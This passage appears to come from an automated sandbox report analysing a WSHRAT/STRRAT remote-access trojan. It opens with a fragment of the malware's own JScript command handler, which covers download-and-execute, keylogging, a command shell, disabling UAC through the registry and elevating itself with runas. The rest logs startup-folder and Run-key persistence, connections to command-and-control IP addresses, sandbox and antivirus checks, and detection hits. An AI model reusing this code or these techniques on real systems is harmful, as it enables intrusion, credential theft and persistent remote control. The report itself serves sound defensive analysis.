break;case "down-n-exec": sitedownloader(cmd[1],cmd[2]); break;case "filemanager": servicestarter(cmd[1], "fm-plugin.exe", information()); break;case "rdp": servicestarter(cmd[1], "rd-plugin.exe", information()); break;case "keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 0); break;case "offline-keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 1); break;case "browse-logs": post("is-logs", enumfaf(installdir + "wshlogs")); break;case "cmd-shell": param = cmd[1]; post("is-cmd-shell",cmdshell(param)); break;case "get-processes": post("is-processes", enumprocess()); break;case "disable-uac": if(WScript.Arguments.Named.Exists("elevated") == true){ var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv"); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA", 0); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","ConsentPromptBehaviorAdmin", 0); oReg = null; updatestatus("UAC+Disabled+(Reboot+Required)"); } break;case "elevate": if(WScript.Arguments.Named.Exists("elevated") == false){try{ oneonce.close(); oneonce = null; WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); updatestatus("Client+Elevated");

Yara detected Caesium Obfuscator

Source: Yara match	File source: 00000004.00000002.2977567936.0000000009D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2977567936.0000000009E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: javaw.exe PID: 7540, type: MEMORYSTR

Yara detected AllatoriJARObfuscator

Source: Yara match	File source: 00000004.00000002.2977567936.0000000009D95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2977567936.0000000009D62000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: javaw.exe PID: 7540, type: MEMORYSTR

Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BCC29 pushfd ; ret	4_3_154BCC2A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BCC29 pushfd ; ret	4_3_154BCC2A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BCC29 pushfd ; ret	4_3_154BCC2A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BCC29 pushfd ; ret	4_3_154BCC2A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BCC29 pushfd ; ret	4_3_154BCC2A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BCC29 pushfd ; ret	4_3_154BCC2A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BCC29 pushfd ; ret	4_3_154BCC2A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BCC29 pushfd ; ret	4_3_154BCC2A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BCC29 pushfd ; ret	4_3_154BCC2A
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC3D6 push 00000061h; ret	4_3_154BC3E8
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Code function: 4_3_154BC2F2 push esp; ret	4_3_154BC2F9

Boot Survival

Drops script or batch files to the startup folder

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Jump to dropped file

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run adobe			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run adobe			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 7045
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 7045

Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_logicaldisk

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: javaw.exe, 00000004.00000003.1733793422.0000000014CFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: javaw.exe, 00000004.00000002.2973532162.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll.Lb
Source: javaw.exe, 00000004.00000003.1733793422.0000000014CFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: javaw.exe, 00000004.00000002.2973532162.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Ljava/lang/VirtualMachineError;
Source: wscript.exe, 00000005.00000002.2974480890.00000296C2005000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW180545448-G0j,180545467-G0j,180545479-G0j,180545483-G0j,180545467-G0j,180545481-G0j,180545482-G0j,180545438-G0j,180545467-G0j,180545463-G0j,180545466-G0j,180545467-G0j,180545480-G0j,180545406-G0j,180545400-G0j,180545483-G0j,180545481-G0j,180545467-G0j,180545480-G0j,180545411-G0j,180545463-G0j,180545469-G0j,180545467-G0j,180545476-G0j,180545482-G0j,180545424-G0j,180545400-G0j,180545410-G0j,180545398-G0j,180545471-G0j,180545476-G0j,180545468-G0j,180545477-G0j,180545480-G0j,180545475-G0j,180545
Source: wscript.exe, 00000001.00000003.1721982591.000001F416B17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\1
Source: javaw.exe, 00000004.00000003.1733793422.0000000014CFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: org/omg/CORBA/OMGVMCID.classPK
Source: wscript.exe, 00000000.00000003.1718408779.00000270DCE63000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1720032673.00000270DCE20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1718408779.00000270DCE43000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1720071879.00000270DCE46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1720071879.00000270DCE63000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2974480890.00000296C2005000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387784576.000001F2AE955000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: javaw.exe, 00000004.00000002.2973532162.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cjava/lang/VirtualMachineError
Source: javaw.exe, 00000004.00000003.1733793422.0000000014CFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: java/lang/VirtualMachineError.classPK
Source: wscript.exe, 0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387784576.000001F2AE8FC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388054789.000001F2AE903000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387944449.000001F2AE901000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RA
Source: wscript.exe, 00000000.00000003.1716099087.00000270DCE84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\8

Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Memory protected: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 192.3.220.6 80			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 46.246.82.66 7045

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\ELMAMV.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\adobe.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\word.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe "C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\BDl.jar"	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\adobe.js"	Jump to behavior

Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Code function: 4_2_027A03C0 cpuid

4_2_027A03C0

Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\java.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\client\jvm.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\java.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\bin\java.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\hsperfdata_user\7540 VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\resources.jar VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\rt.jar VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\jce.jar VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\charsets.jar VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Program Files (x86)\Java\jre-1.8\lib\meta-index VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Queries volume information: C:\Users\user\44662lock.file VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: wscript.exe, 00000005.00000002.2974480890.00000296C1F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387784576.000001F2AE8FC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2388054789.000001F2AE903000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387944449.000001F2AE901000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct

Stealing of Sensitive Information

Yara detected STRRAT

Source: Yara match	File source: 00000004.00000002.2977567936.0000000009D68000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2977567936.0000000009EA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: javaw.exe PID: 7540, type: MEMORYSTR

Yara detected WSHRAT

Source: Yara match	File source: amsi64_7436.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7580.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8108.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8156.amsi.csv, type: OTHER
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000000E.00000003.2387400897.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388054789.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2975000160.000001F2AE904000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1742267547.00000296C005A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387784576.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387552603.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2018966417.00000134E0C5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387944449.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388166668.000001F2AE947000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2975088577.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387668685.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2018985859.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1737403220.000002890EC5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2024564022.000001F2ACADA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1731617996.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1737294096.000002890EBB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1735824367.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2020882585.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2024584613.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387668685.000001F2AE8F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387552603.000001F2AE8EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2021378874.00000134E0B3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2024426072.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2973699666.00000296BFD98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1741594797.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2975324132.000001F2AE9D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1731869784.0000028910DD9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2018761492.00000134E2BF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2975000160.000001F2AE942000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2974480890.00000296C1FD2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387784576.000001F2AE8FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2388054789.000001F2AE903000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387944449.000001F2AE901000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2021244896.00000134E0A92000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387894883.000001F2AC9C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1742746443.00000296C2089000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1731838543.000002890EB0A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2387400897.000001F2AE8E4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2973698231.000001F2AC8E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 7580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 8108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 8156, type: MEMORYSTR

Remote Access Functionality

Detected WSHRat

Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
